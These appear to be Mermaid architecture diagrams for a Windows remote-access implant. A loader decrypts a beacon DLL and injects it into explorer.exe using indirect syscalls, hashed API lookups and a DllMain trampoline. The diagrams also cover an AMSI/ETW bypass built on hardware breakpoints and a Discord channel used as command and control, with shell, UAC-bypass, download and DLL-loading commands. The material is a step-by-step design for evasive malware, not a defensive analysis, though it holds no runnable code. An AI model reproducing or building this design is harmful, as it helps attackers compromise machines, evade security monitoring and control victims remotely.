flowchart TB
    subgraph Operator["Operator (Discord Server)"]
        Commands["Commands: shell, scr, !loaddll, !download, !uacbypass, !kill"]
    end

    subgraph Target["Target Machine (Windows)"]
        subgraph LoaderExe["loader.exe"]
            Decrypt["1. Decrypt beacon.dll (XOR)"]
            FindProc["2. Find explorer.exe"]
            OpenProc["3. NtOpenProcess"]
            AllocMem["4. NtAllocateVirtualMemory"]
            MapPE["5. Map PE + Relocations + IAT"]
            WriteMem["6. NtWriteVirtualMemory"]
            Protect["7. NtProtectVirtualMemory"]
            CreateThread["8. NtCreateThreadEx"]
        end

        subgraph Explorer["explorer.exe"]
            subgraph BeaconDll["beacon.dll (injected)"]
                Bypass["AMSI/ETW Bypass"]
                DiscordLoop["Discord Polling Loop"]
                PELoader["PE Loader (for !loaddll)"]
                CmdHandlers["Command Handlers"]
            end
        end
    end

    Operator <-->|"Discord API v10"| DiscordLoop

    Decrypt --> FindProc --> OpenProc --> AllocMem --> MapPE --> WriteMem --> Protect --> CreateThread
    CreateThread -->|"DllMain"| BeaconDll

    DiscordLoop --> CmdHandlers
    CmdHandlers --> PELoader

sequenceDiagram
    participant L as Loader.exe
    participant N as ntdll.dll
    participant E as explorer.exe

    Note over L: 1. Decrypt beacon.dll (XOR)

    L->>L: Parse PE headers locally

    L->>N: NtQuerySystemInformation<br/>(find explorer.exe PID)
    N-->>L: PID

    L->>N: NtOpenProcess(PID)
    N-->>L: Process Handle

    L->>N: NtAllocateVirtualMemory<br/>(in explorer.exe)
    N-->>L: Remote Base Address

    Note over L: 2. Prepare image locally
    L->>L: Copy headers
    L->>L: Map sections
    L->>L: Apply relocations (delta)
    L->>L: Resolve IAT via LoadLibrary/GetProcAddress

    Note over L: 3. Write to remote process
    L->>N: NtWriteVirtualMemory<br/>(write prepared image)

    L->>N: NtProtectVirtualMemory<br/>(per section)

    Note over L: 4. Create trampoline
    L->>N: NtAllocateVirtualMemory (RWX)
    L->>N: NtWriteVirtualMemory (shellcode)

    L->>N: NtCreateThreadEx<br/>(start = trampoline, param = base)

    Note over E: Trampoline calls DllMain(base, DLL_PROCESS_ATTACH, NULL)

flowchart LR
    subgraph "Traditional API Call (Hookable)"
        App1["Application"] --> K32["kernel32.dll"] --> NT1["ntdll.dll<br/>(HOOKED)"] --> Kernel1["Kernel"]
    end

flowchart LR
    subgraph "Indirect Syscall (Bypasses Hooks)"
        App2["Application"] --> Resolve["Resolve SSN<br/>from ntdll"] --> ASM["Inline ASM<br/>mov eax, SSN"] --> Gadget["JMP to ntdll<br/>syscall;ret gadget"] --> Kernel2["Kernel"]
    end

flowchart TD
    Start["syscall!(&quot;NtOpenProcess&quot;, ...)"] --> Hash["DJB2 hash at compile time<br/>obf!(&quot;NtOpenProcess&quot;)"]
    Hash --> GetModule["get_module_addr(hash)<br/>via PEB traversal"]
    GetModule --> FindNtdll["Find ntdll.dll in<br/>InLoadOrderModuleList"]
    FindNtdll --> GetFunc["get_function_addr(ntdll, hash)<br/>via Export Table"]
    GetFunc --> ReadSSN["Read SSN at offset +4<br/>mov eax, SSN (B8 XX 00 00 00)"]
    ReadSSN --> GetGadget["Get gadget address at +0x12<br/>(syscall; ret)"]
    GetGadget --> DoSyscall["do_syscall(SSN, gadget_addr, args...)"]
    DoSyscall --> JmpGadget["JMP to gadget in ntdll<br/>(executes syscall; ret)"]

flowchart TD
    subgraph "PE Loader Steps"
        Parse["1. Parse PE<br/>Validate DOS/NT headers"]
        Alloc["2. Allocate Memory<br/>Try preferred base, else system chooses"]
        Headers["3. Copy Headers<br/>First size_of_headers bytes"]
        Sections["4. Map Sections<br/>Copy raw data to virtual addresses"]
        Reloc["5. Apply Relocations<br/>If actual_base != preferred_base"]
        IAT["6. Resolve IAT<br/>LoadLibrary + GetProcAddress"]
        Protect["7. Protect Sections<br/>RX, RW, R based on characteristics"]
        Exception["8. Register Exceptions<br/>RtlAddFunctionTable for x64 SEH"]
        TLS["9. TLS Callbacks<br/>If present"]
        DllMain["10. Call DllMain<br/>DLL_PROCESS_ATTACH"]
    end

    Parse --> Alloc --> Headers --> Sections --> Reloc --> IAT --> Protect --> Exception --> TLS --> DllMain

flowchart TD
    subgraph "Bypass Setup"
        VEH["Register VEH<br/>AddVectoredExceptionHandler"]
        GetAddr["Get function addresses<br/>AmsiScanBuffer, NtTraceControl"]
        SetBP["Set hardware breakpoints<br/>Dr0 = AmsiScanBuffer<br/>Dr1 = NtTraceControl"]
        EnableDr7["Enable breakpoints in Dr7"]
    end

    subgraph "Runtime Interception"
        Call["Security function called"]
        BP["Hardware breakpoint triggered<br/>EXCEPTION_SINGLE_STEP"]
        Handler["VEH Handler intercepts"]

        Check{Which function?}
        AMSI["AmsiScanBuffer:<br/>Set RAX = AMSI_RESULT_CLEAN<br/>Skip to return"]
        ETW["NtTraceControl:<br/>Jump to ret instruction"]
        Continue["Continue execution"]
    end

    VEH --> GetAddr --> SetBP --> EnableDr7

    Call --> BP --> Handler --> Check
    Check -->|AmsiScanBuffer| AMSI --> Continue
    Check -->|NtTraceControl| ETW --> Continue

flowchart LR
    subgraph "NtCreateThreadEx"
        Start["StartAddress = Trampoline"]
        Param["lpParameter = BaseAddress<br/>(passed in RCX)"]
    end

    subgraph "Trampoline Shellcode"
        MovEdx["mov edx, 1<br/>(DLL_PROCESS_ATTACH)"]
        XorR8["xor r8d, r8d<br/>(lpvReserved = NULL)"]
        CalcEP["mov rax, rcx<br/>add rax, EntryPointRVA"]
        Stack["sub rsp, 0x28<br/>(shadow space)"]
        Call["call rax<br/>(call DllMain)"]
        Ret["add rsp, 0x28<br/>ret"]
    end

    subgraph "DllMain"
        DllMainSig["DllMain(RCX=hInstance, RDX=fdwReason, R8=lpvReserved)"]
    end

    Start --> MovEdx
    Param --> MovEdx
    MovEdx --> XorR8 --> CalcEP --> Stack --> Call --> Ret
    Call --> DllMainSig

sequenceDiagram
    participant B as Beacon
    participant D as Discord API
    participant O as Operator

    Note over B: Beacon starts

    B->>D: GET /users/@me<br/>(validate token)
    D-->>B: 200 OK

    B->>D: GET /guilds/{id}/channels<br/>(find hostname channel)
    D-->>B: Channel list

    alt Channel not found
        B->>D: POST /guilds/{id}/channels<br/>(create channel)
        D-->>B: New channel
    end

    B->>D: POST /channels/{general}/messages<br/>("Connected from {hostname}")

    loop Polling Loop (every 5s)
        B->>D: GET /channels/{id}/messages?limit=100
        D-->>B: Messages

        alt New command found
            B->>B: Execute command
            B->>D: POST /channels/{id}/messages<br/>(result)
        end
    end

    O->>D: Send command in channel
    Note over D: Message stored

    B->>D: GET messages (next poll)
    D-->>B: Command message
    B->>B: Execute
    B->>D: POST result